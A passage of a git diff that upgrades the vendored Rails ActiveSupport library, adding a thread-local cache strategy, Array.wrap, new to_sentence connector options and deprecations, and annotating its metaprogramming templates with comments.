@@ -102,6 +120,8 @@ module ActiveSupport
       end
 
       def delete_matched(matcher, options = nil) # :nodoc:
+        # don't do any local caching at present, just pass
+        # through and let the error happen
         super
         raise "Not supported by Memcache"
       end
@@ -115,10 +135,6 @@ module ActiveSupport
       end
 
       private
-        def expires_in(options)
-          (options && options[:expires_in]) || 0
-        end
-
         def raw?(options)
           options && options[:raw]
         end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb b/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb
new file mode 100644
index 00000000..91842ce0
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -0,0 +1,104 @@
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        # this allows caching of the fact that there is nothing in the remote cache
+        NULL = 'remote_cache_store:null'
+
+        def with_local_cache
+          Thread.current[thread_local_key] = MemoryStore.new
+          yield
+        ensure
+          Thread.current[thread_local_key] = nil
+        end
+
+        def middleware
+          @middleware ||= begin
+            klass = Class.new
+            klass.class_eval(<<-EOS, __FILE__, __LINE__)
+              def initialize(app)
+                @app = app
+              end
+
+              def call(env)
+                Thread.current[:#{thread_local_key}] = MemoryStore.new
+                @app.call(env)
+              ensure
+                Thread.current[:#{thread_local_key}] = nil
+              end
+            EOS
+            klass
+          end
+        end
+
+        def read(key, options = nil)
+          value = local_cache && local_cache.read(key)
+          if value == NULL
+            nil
+          elsif value.nil?
+            value = super
+            local_cache.mute { local_cache.write(key, value || NULL) } if local_cache
+            value.duplicable? ? value.dup : value
+          else
+            # forcing the value to be immutable
+            value.duplicable? ? value.dup : value
+          end
+        end
+
+        def write(key, value, options = nil)
+          value = value.to_s if respond_to?(:raw?) && raw?(options)
+          local_cache.mute { local_cache.write(key, value || NULL) } if local_cache
+          super
+        end
+
+        def delete(key, options = nil)
+          local_cache.mute { local_cache.write(key, NULL) } if local_cache
+          super
+        end
+
+        def exist(key, options = nil)
+          value = local_cache.read(key) if local_cache
+          if value == NULL
+            false
+          elsif value
+            true
+          else
+            super
+          end
+        end
+
+        def increment(key, amount = 1)
+          if value = super
+            local_cache.mute { local_cache.write(key, value.to_s) } if local_cache
+            value
+          else
+            nil
+          end
+        end
+
+        def decrement(key, amount = 1)
+          if value = super
+            local_cache.mute { local_cache.write(key, value.to_s) } if local_cache
+            value
+          else
+            nil
+          end
+        end
+
+        def clear
+          local_cache.clear if local_cache
+          super
+        end
+
+        private
+          def thread_local_key
+            @thread_local_key ||= "#{self.class.name.underscore}_local_cache".gsub("/", "_").to_sym
+          end
+
+          def local_cache
+            Thread.current[thread_local_key]
+          end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/callbacks.rb b/vendor/rails/activesupport/lib/active_support/callbacks.rb
index 5cdcaf5a..86e66e05 100644
--- a/vendor/rails/activesupport/lib/active_support/callbacks.rb
+++ b/vendor/rails/activesupport/lib/active_support/callbacks.rb
@@ -192,13 +192,8 @@ module ActiveSupport
         end
 
         def should_run_callback?(*args)
-          if options[:if]
-            evaluate_method(options[:if], *args)
-          elsif options[:unless]
-            !evaluate_method(options[:unless], *args)
-          else
-            true
-          end
+          [options[:if]].flatten.compact.all? { |a| evaluate_method(a, *args) } &&
+          ![options[:unless]].flatten.compact.any? { |a| evaluate_method(a, *args) }
         end
     end
 
@@ -210,20 +205,24 @@ module ActiveSupport
       def define_callbacks(*callbacks)
         callbacks.each do |callback|
           class_eval <<-"end_eval"
-            def self.#{callback}(*methods, &block)
-              callbacks = CallbackChain.build(:#{callback}, *methods, &block)
-              (@#{callback}_callbacks ||= CallbackChain.new).concat callbacks
-            end
-
-            def self.#{callback}_callback_chain
-              @#{callback}_callbacks ||= CallbackChain.new
-
-              if superclass.respond_to?(:#{callback}_callback_chain)
-                CallbackChain.new(superclass.#{callback}_callback_chain + @#{callback}_callbacks)
-              else
-                @#{callback}_callbacks
-              end
-            end
+            def self.#{callback}(*methods, &block)                             # def self.before_save(*methods, &block)
+              callbacks = CallbackChain.build(:#{callback}, *methods, &block)  #   callbacks = CallbackChain.build(:before_save, *methods, &block)
+              @#{callback}_callbacks ||= CallbackChain.new                     #   @before_save_callbacks ||= CallbackChain.new
+              @#{callback}_callbacks.concat callbacks                          #   @before_save_callbacks.concat callbacks
+            end                                                                # end
+                                                                               #
+            def self.#{callback}_callback_chain                                # def self.before_save_callback_chain
+              @#{callback}_callbacks ||= CallbackChain.new                     #   @before_save_callbacks ||= CallbackChain.new
+                                                                               #
+              if superclass.respond_to?(:#{callback}_callback_chain)           #   if superclass.respond_to?(:before_save_callback_chain)
+                CallbackChain.new(                                             #     CallbackChain.new(
+                  superclass.#{callback}_callback_chain +                      #       superclass.before_save_callback_chain +
+                  @#{callback}_callbacks                                       #       @before_save_callbacks
+                )                                                              #     )
+              else                                                             #   else
+                @#{callback}_callbacks                                         #     @before_save_callbacks
+              end                                                              #   end
+            end                                                                # end
           end_eval
         end
       end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext.rb b/vendor/rails/activesupport/lib/active_support/core_ext.rb
index 4deef8c7..6690a0ba 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext.rb
@@ -1,4 +1,8 @@
-Dir[File.dirname(__FILE__) + "/core_ext/*.rb"].sort.each do |path|
-  filename = File.basename(path)
-  require "active_support/core_ext/#{filename}"
+filenames = Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].sort.map do |path|
+  File.basename(path, '.rb')
 end
+
+# deprecated
+filenames -= %w(blank)
+
+filenames.each { |filename| require "active_support/core_ext/#{filename}" }
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array.rb
index cc0a1ebc..82c6b124 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/array.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/array/grouping'
 require 'active_support/core_ext/array/random_access'
+require 'active_support/core_ext/array/wrapper'
 
 class Array #:nodoc:
   include ActiveSupport::CoreExtensions::Array::Access
@@ -10,4 +11,5 @@ class Array #:nodoc:
   include ActiveSupport::CoreExtensions::Array::ExtractOptions
   include ActiveSupport::CoreExtensions::Array::Grouping
   include ActiveSupport::CoreExtensions::Array::RandomAccess
+  extend ActiveSupport::CoreExtensions::Array::Wrapper
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb
index cf3e03f6..779743bc 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -1,29 +1,41 @@
-require 'builder'
-
 module ActiveSupport #:nodoc:
   module CoreExtensions #:nodoc:
     module Array #:nodoc:
       module Conversions
         # Converts the array to a comma-separated sentence where the last element is joined by the connector word. Options:
-        # * <tt>:connector</tt> - The word used to join the last element in arrays with two or more elements (default: "and")
-        # * <tt>:skip_last_comma</tt> - Set to true to return "a, b and c" instead of "a, b, and c".        
-        def to_sentence(options = {})          
-          options.assert_valid_keys(:connector, :skip_last_comma, :locale)
-          
-          default = I18n.translate(:'support.array.sentence_connector', :locale => options[:locale])
-          default_skip_last_comma = I18n.translate(:'support.array.skip_last_comma', :locale => options[:locale])
-          options.reverse_merge! :connector => default, :skip_last_comma => default_skip_last_comma
-          options[:connector] = "#{options[:connector]} " unless options[:connector].nil? || options[:connector].strip == ''
+        # * <tt>:words_connector</tt> - The sign or word used to join the elements in arrays with two or more elements (default: ", ")
+        # * <tt>:two_words_connector</tt> - The sign or word used to join the elements in arrays with two elements (default: " and ")
+        # * <tt>:last_word_connector</tt> - The sign or word used to join the last element in arrays with three or more elements (default: ", and ")
+        def to_sentence(options = {})
+          default_words_connector     = I18n.translate(:'support.array.words_connector',     :locale => options[:locale])
+          default_two_words_connector = I18n.translate(:'support.array.two_words_connector', :locale => options[:locale])
+          default_last_word_connector = I18n.translate(:'support.array.last_word_connector', :locale => options[:locale])
 
+          # Try to emulate to_senteces previous to 2.3
+          if options.has_key?(:connector) || options.has_key?(:skip_last_comma)
+            ::ActiveSupport::Deprecation.warn(":connector has been deprecated. Use :words_connector instead", caller) if options.has_key? :connector
+            ::ActiveSupport::Deprecation.warn(":skip_last_comma has been deprecated. Use :last_word_connector instead", caller) if options.has_key? :skip_last_comma
+
+            skip_last_comma = options.delete :skip_last_comma
+            if connector = options.delete(:connector)
+              options[:last_word_connector] ||= skip_last_comma ? connector : ", #{connector}"
+            else
+              options[:last_word_connector] ||= skip_last_comma ? default_two_words_connector : default_last_word_connector
+            end
+          end
+          
+          options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)       
+          options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector
+          
           case length
             when 0
               ""
             when 1
               self[0].to_s
             when 2
-              "#{self[0]} #{options[:connector]}#{self[1]}"
+              "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
             else
-              "#{self[0...-1].join(', ')}#{options[:skip_last_comma] ? '' : ','} #{options[:connector]}#{self[-1]}"
+              "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
           end
         end
         
@@ -149,7 +161,9 @@ module ActiveSupport #:nodoc:
         #
         def to_xml(options = {})
           raise "Not all elements respond to to_xml" unless all? { |e| e.respond_to? :to_xml }
+          require 'builder' unless defined?(Builder)
 
+          options = options.dup
           options[:root]     ||= all? { |e| e.is_a?(first.class) && first.class.to_s != "Hash" } ? first.class.to_s.underscore.pluralize : "records"
           options[:children] ||= options[:root].singularize
           options[:indent]   ||= 2
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb
new file mode 100644
index 00000000..80b8f055
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb
@@ -0,0 +1,24 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      module Wrapper
+        # Wraps the object in an Array unless it's an Array.  Converts the
+        # object to an Array using #to_ary if it implements that.
+        def wrap(object)
+          case object
+          when nil
+            []
+          when self
+            object
+          else
+            if object.respond_to?(:to_ary)
+              object.to_ary
+            else
+              [object]
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb b/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb
index 79ba165e..ae57b152 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb
@@ -1,12 +1,19 @@
 require 'benchmark'
 
 class << Benchmark
-  remove_method :realtime
+  # Earlier Ruby had a slower implementation.
+  if RUBY_VERSION < '1.8.7'
+    remove_method :realtime
 
-  def realtime
-    r0 = Time.now
-    yield
-    r1 = Time.now
-    r1.to_f - r0.to_f
+    def realtime
+      r0 = Time.now
+      yield
+      r1 = Time.now
+      r1.to_f - r0.to_f
+    end
+  end
+
+  def ms
+    1000 * realtime { yield }
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb b/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb
index 4f8dc4e2..54e83ba4 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb
@@ -1,58 +1,2 @@
-class Object
-  # An object is blank if it's false, empty, or a whitespace string.
-  # For example, "", "   ", +nil+, [], and {} are blank.
-  #
-  # This simplifies
-  #
-  #   if !address.nil? && !address.empty?
-  #
-  # to
-  #
-  #   if !address.blank?
-  def blank?
-    respond_to?(:empty?) ? empty? : !self
-  end
-    
-  # An object is present if it's not blank.
-  def present?
-    !blank?
-  end
-end
-
-class NilClass #:nodoc:
-  def blank?
-    true
-  end
-end
-
-class FalseClass #:nodoc:
-  def blank?
-    true
-  end
-end
-
-class TrueClass #:nodoc:
-  def blank?
-    false
-  end
-end
-
-class Array #:nodoc:
-  alias_method :blank?, :empty?
-end
-
-class Hash #:nodoc:
-  alias_method :blank?, :empty?
-end
-
-class String #:nodoc:
-  def blank?
-    self !~ /\S/
-  end
-end
-
-class Numeric #:nodoc:
-  def blank?
-    false
-  end
-end
+require 'active_support/core_ext/object/blank'
+ActiveSupport::Deprecation.warn 'require "active_support/core_ext/blank" is deprecated and will be removed in Rails 3. Use require "active_support/core_ext/object/blank" instead.'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
index a21e98fa..1edb3771 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
@@ -2,11 +2,20 @@ module ActiveSupport #:nodoc:
   module CoreExtensions #:nodoc:
     module CGI #:nodoc:
       module EscapeSkippingSlashes #:nodoc:
-        def escape_skipping_slashes(str)
-          str = str.join('/') if str.respond_to? :join
-          str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
-            "%#{$1.unpack('H2').first.upcase}"
-          end.tr(' ', '+')
+        if RUBY_VERSION >= '1.9'
+          def escape_skipping_slashes(str)
+            str = str.join('/') if str.respond_to? :join
+            str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
+              "%#{$1.unpack('H2' * $1.bytesize).join('%').upcase}"
+            end.tr(' ', '+')
+          end
+        else
+          def escape_skipping_slashes(str)
+            str = str.join('/') if str.respond_to? :join
+            str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
+              "%#{$1.unpack('H2').first.upcase}"
+            end.tr(' ', '+')
+          end
         end
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 186ca69c..c7958714 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -11,17 +11,17 @@ class Class
     syms.flatten.each do |sym|
       next if sym.is_a?(Hash)
       class_eval(<<-EOS, __FILE__, __LINE__)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}
-          @@#{sym}
-        end
-
-        def #{sym}
-          @@#{sym}
-        end
+        unless defined? @@#{sym}  # unless defined? @@hair_colors
+          @@#{sym} = nil          #   @@hair_colors = nil
+        end                       # end
+                                  #
+        def self.#{sym}           # def self.hair_colors
+          @@#{sym}                #   @@hair_colors
+        end                       # end
+                                  #
+        def #{sym}                # def hair_colors
+          @@#{sym}                #   @@hair_colors
+        end                       # end
       EOS
     end
   end
@@ -30,19 +30,19 @@ class Class
     options = syms.extract_options!
     syms.flatten.each do |sym|
       class_eval(<<-EOS, __FILE__, __LINE__)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-
-        #{"
-        def #{sym}=(obj)
-          @@#{sym} = obj
-        end
-        " unless options[:instance_writer] == false }
+        unless defined? @@#{sym}                       # unless defined? @@hair_colors
+          @@#{sym} = nil                               #   @@hair_colors = nil
+        end                                            # end
+                                                       #
+        def self.#{sym}=(obj)                          # def self.hair_colors=(obj)
+          @@#{sym} = obj                               #   @@hair_colors = obj
+        end                                            # end
+                                                       #
+        #{"                                            #
+        def #{sym}=(obj)                               # def hair_colors=(obj)
+          @@#{sym} = obj                               #   @@hair_colors = obj
+        end                                            # end
+        " unless options[:instance_writer] == false }  # # instance writer above is generated unless options[:instance_writer] == false
       EOS
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index 368317df..000ccf4d 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -9,22 +9,23 @@ class Class
     class_name_to_stop_searching_on = self.superclass.name.blank? ? "Object" : self.superclass.name
     names.each do |name|
       class_eval <<-EOS
-      def self.#{name}
-        if defined?(@#{name})
-          @#{name}
-        elsif superclass < #{class_name_to_stop_searching_on} && superclass.respond_to?(:#{name})
-          superclass.#{name}
-        end
-      end
-      def #{name}
-        self.class.#{name}
-      end
-      def self.#{name}?
-        !!#{name}
-      end
-      def #{name}?
-        !!#{name}
-      end
+      def self.#{name}                                            # def self.only_reader
+        if defined?(@#{name})                                     #   if defined?(@only_reader)
+          @#{name}                                                #     @only_reader
+        elsif superclass < #{class_name_to_stop_searching_on} &&  #   elsif superclass < Object &&
+              superclass.respond_to?(:#{name})                    #         superclass.respond_to?(:only_reader)
+          superclass.#{name}                                      #     superclass.only_reader
+        end                                                       #   end
+      end                                                         # end
+      def #{name}                                                 # def only_reader
+        self.class.#{name}                                        #   self.class.only_reader
+      end                                                         # end
+      def self.#{name}?                                           # def self.only_reader?
+        !!#{name}                                                 #   !!only_reader
+      end                                                         # end
+      def #{name}?                                                # def only_reader?
+        !!#{name}                                                 #   !!only_reader
+      end                                                         # end
       EOS
     end
   end
@@ -32,9 +33,9 @@ class Class
   def superclass_delegating_writer(*names)
     names.each do |name|
       class_eval <<-EOS
-        def self.#{name}=(value)
-          @#{name} = value
-        end
+        def self.#{name}=(value)  # def self.only_writer=(value)
+          @#{name} = value        #   @only_writer = value
+        end                       # end
       EOS
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
index e6143a27..1794afe7 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
@@ -11,13 +11,13 @@ class Class # :nodoc:
     syms.each do |sym|
       next if sym.is_a?(Hash)
       class_eval <<-EOS
-        def self.#{sym}
-          read_inheritable_attribute(:#{sym})
-        end
-
-        def #{sym}
-          self.class.#{sym}
-        end
+        def self.#{sym}                        # def self.before_add_for_comments
+          read_inheritable_attribute(:#{sym})  #   read_inheritable_attribute(:before_add_for_comments)
+        end                                    # end
+                                               #
+        def #{sym}                             # def before_add_for_comments
+          self.class.#{sym}                    #   self.class.before_add_for_comments
+        end                                    # end
       EOS
     end
   end
@@ -26,15 +26,15 @@ class Class # :nodoc:
     options = syms.extract_options!
     syms.each do |sym|
       class_eval <<-EOS
-        def self.#{sym}=(obj)
-          write_inheritable_attribute(:#{sym}, obj)
-        end
-
-        #{"
-        def #{sym}=(obj)
-          self.class.#{sym} = obj
-        end
-        " unless options[:instance_writer] == false }
+        def self.#{sym}=(obj)                          # def self.color=(obj)
+          write_inheritable_attribute(:#{sym}, obj)    #   write_inheritable_attribute(:color, obj)
+        end                                            # end
+                                                       #
+        #{"                                            #
+        def #{sym}=(obj)                               # def color=(obj)
+          self.class.#{sym} = obj                      #   self.class.color = obj
+        end                                            # end
+        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
       EOS
     end
   end
@@ -43,15 +43,15 @@ class Class # :nodoc:
     options = syms.extract_options!
     syms.each do |sym|
       class_eval <<-EOS
-        def self.#{sym}=(obj)
-          write_inheritable_array(:#{sym}, obj)
-        end
-
-        #{"
-        def #{sym}=(obj)
-          self.class.#{sym} = obj
-        end
-        " unless options[:instance_writer] == false }
+        def self.#{sym}=(obj)                          # def self.levels=(obj)
+          write_inheritable_array(:#{sym}, obj)        #   write_inheritable_array(:levels, obj)
+        end                                            # end
+                                                       #
+        #{"                                            #
+        def #{sym}=(obj)                               # def levels=(obj)
+          self.class.#{sym} = obj                      #   self.class.levels = obj
+        end                                            # end
+        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
       EOS
     end
   end
@@ -60,15 +60,15 @@ class Class # :nodoc:
     options = syms.extract_options!
     syms.each do |sym|
       class_eval <<-EOS
-        def self.#{sym}=(obj)
-          write_inheritable_hash(:#{sym}, obj)
-        end
-
-        #{"
-        def #{sym}=(obj)
-          self.class.#{sym} = obj
-        end
-        " unless options[:instance_writer] == false }
+        def self.#{sym}=(obj)                          # def self.nicknames=(obj)
+          write_inheritable_hash(:#{sym}, obj)         #   write_inheritable_hash(:nicknames, obj)
+        end                                            # end
+                                                       #
+        #{"                                            #
+        def #{sym}=(obj)                               # def nicknames=(obj)
+          self.class.#{sym} = obj                      #   self.class.nicknames = obj
+        end                                            # end
+        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
       EOS
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb
index 43d70c70..fa7f618e 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -1,7 +1,7 @@
 module ActiveSupport #:nodoc:
   module CoreExtensions #:nodoc:
     module Date #:nodoc:
-      # Enables the use of time calculations within Time itself
+      # Enables the use of time calculations within Date itself
       module Calculations
         def self.included(base) #:nodoc:
           base.extend ClassMethods
@@ -92,6 +92,7 @@ module ActiveSupport #:nodoc:
         # Provides precise Date calculations for years, months, and days.  The +options+ parameter takes a hash with
         # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
         def advance(options)
+          options = options.dup
           d = self
           d = d >> options.delete(:years) * 12 if options[:years]
           d = d >> options.delete(:months)     if options[:months]
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb
index d2d9699d..8d9f0233 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -31,7 +31,7 @@ module ActiveSupport #:nodoc:
         #
         # This method is aliased to <tt>to_s</tt>.
         #
-        # ==== Examples:
+        # ==== Examples
         #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
         #
         #   date.to_formatted_s(:db)            # => "2007-11-10"
@@ -76,7 +76,7 @@ module ActiveSupport #:nodoc:
         # Converts a Date instance to a Time, where the time is set to the beginning of the day.
         # The timezone can be either :local or :utc (default :local).
         #
-        # ==== Examples:
+        # ==== Examples
         #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
         #
         #   date.to_time                   # => Sat Nov 10 00:00:00 0800 2007
@@ -90,7 +90,7 @@ module ActiveSupport #:nodoc:
         # Converts a Date instance to a DateTime, where the time is set to the beginning of the day
         # and UTC offset is set to 0.
         #
-        # ==== Example:
+        # ==== Examples
         #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
         #
         #   date.to_datetime               # => Sat, 10 Nov 2007 00:00:00 0000
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index c0175a5f..7c948267 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -25,7 +25,7 @@ module ActiveSupport #:nodoc:
         # 
         # This method is aliased to <tt>to_s</tt>.
         # 
-        # === Examples:
+        # === Examples
         #   datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
         # 
         #   datetime.to_formatted_s(:db)            # => "2007-12-04 00:00:00"
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb b/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb
index 788f3a7e..2c5f59b8 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -55,12 +55,10 @@ module Enumerable
   #  [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
   #
   def sum(identity = 0, &block)
-    return identity unless size > 0
-
     if block_given?
-      map(&block).sum
+      map(&block).sum(identity)
     else
-      inject { |sum, element| sum + element }
+      inject { |sum, element| sum + element } || identity
     end
   end
 
@@ -104,4 +102,13 @@ module Enumerable
     size = block_given? ? select(&block).size : self.size
     size > 1
   end
+
+  # Returns true if none of the elements match the given block.
+  #
+  #   success = responses.none? {|r| r.status / 100 == 5 }
+  #
+  # This is a builtin method in Ruby 1.8.7 and later.
+  def none?(&block)
+    !any?(&block)
+  end unless [].respond_to?(:none?)
 end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb b/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb
index 57c85683..cde0df41 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb
@@ -6,14 +6,16 @@ module ActiveSupport
   end
 end
 
+# TODO: Turn all this into using the BacktraceCleaner.
 class Exception # :nodoc:
   def clean_message
     Pathname.clean_within message
   end
-  
+
   TraceSubstitutions = []
-  FrameworkRegexp = /generated|vendor|dispatch|ruby|script\/\w+/
-  
+  FrameworkStart = /action_controller\/dispatcher\.rb/.freeze
+  FrameworkRegexp = /generated|vendor|dispatch|ruby|script\/\w+/.freeze
+
   def clean_backtrace
     backtrace.collect do |line|
       Pathname.clean_within(TraceSubstitutions.inject(line) do |result, (regexp, sub)|
@@ -21,20 +23,22 @@ class Exception # :nodoc:
       end)
     end
   end
-  
+
   def application_backtrace
+    before_framework_frame = nil
     before_application_frame = true
-    
+
     trace = clean_backtrace.reject do |line|
+      before_framework_frame ||= (line =~ FrameworkStart)
       non_app_frame = (line =~ FrameworkRegexp)
       before_application_frame = false unless non_app_frame
-      non_app_frame && ! before_application_frame
+      before_framework_frame || (non_app_frame && !before_application_frame)
     end
-    
+
     # If we didn't find any application frames, return an empty app trace.
     before_application_frame ? [] : trace
   end
-  
+
   def framework_backtrace
     clean_backtrace.grep FrameworkRegexp
   end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb b/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb
index f988eff3..8cc5654a 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -1,5 +1,3 @@
-require 'tempfile'
-
 module ActiveSupport #:nodoc:
   module CoreExtensions #:nodoc:
     module File #:nodoc:
@@ -18,6 +16,8 @@ module ActiveSupport #:nodoc:
         #     file.write("hello")
         #   end
         def atomic_write(file_name, temp_dir = Dir.tmpdir)
+          require 'tempfile' unless defined?(Tempfile)
+
           temp_file = Tempfile.new(basename(file_name), temp_dir)
           yield temp_file
           temp_file.close
@@ -27,7 +27,7 @@ module ActiveSupport #:nodoc:
             old_stat = stat(file_name)
           rescue Errno::ENOENT
             # No old permissions, write a temp file to determine the defaults
-            check_name = ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}"
+            check_name = join(dirname(file_name), ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}")
             open(check_name, "w") { }
             old_stat = stat(check_name)
             unlink(check_name)
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 50dc7c61..a43763f3 100644
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -1,47 +1,30 @@
 require 'date'
-require 'cgi'
-require 'builder'
-require 'xmlsimple'
-
-# Locked down XmlSimple#xml_in_string
-class XmlSimple
-  # Same as xml_in but doesn't try to smartly shoot itself in the foot.
-  def xml_in_string(string, options = nil)
-    handle_options('in', options)
-
-    @doc = parse(string)
-    result = collapse(@doc.root)
-
-    if @options['keeproot']
-      merge({}, @doc.root.name, result)
-    else
-      result
-    end
-  end
-
-  def self.xml_in_string(string, options = nil)
-    new.xml_in_string(string, options)
-  end
-end
-
-# This module exists to decorate files deserialized using Hash.from_xml with
-# the <tt>original_filename</tt> and <tt>content_type</tt> methods.
-module FileLike #:nodoc:
-  attr_writer :original_filename, :content_type
-
-  def original_filename
-    @original_filename || 'untitled'
-  end
-
-  def content_type
-    @content_type || 'application/octet-stream'
-  end
-end
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActiveSupport #:nodoc:
+  # these accessors are here because people using ActiveResource and REST to integrate with other systems
+  # have to be able to control the default behavior of rename_key. dasherize_xml is set to true to emulate
+  # existing behavior. In a future version it should be set to false by default.
+  mattr_accessor :dasherize_xml
+  mattr_accessor :camelize_xml
+  self.dasherize_xml = true
+  self.camelize_xml  = false
   module CoreExtensions #:nodoc:
     module Hash #:nodoc:
       module Conversions
+        # This module exists to decorate files deserialized using Hash.from_xml with
+        # the <tt>original_filename</tt> and <tt>content_type</tt> methods.
+        module FileLike #:nodoc:
+          attr_writer :original_filename, :content_type
+
+          def original_filename
+            @original_filename || 'untitled'
+          end
+
+          def content_type
+            @content_type || 'application/octet-stream'
+          end
